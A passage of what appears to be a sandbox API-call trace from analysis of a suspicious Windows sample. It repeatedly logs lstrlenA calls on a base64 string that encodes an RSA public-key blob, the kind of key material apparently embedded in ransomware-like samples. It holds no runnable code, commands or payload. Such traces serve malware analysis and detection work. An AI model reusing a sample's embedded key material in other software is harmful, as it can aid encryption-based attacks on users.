(lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.345] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.345] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.345] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.345] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.345] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.345] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.345] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.345] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA 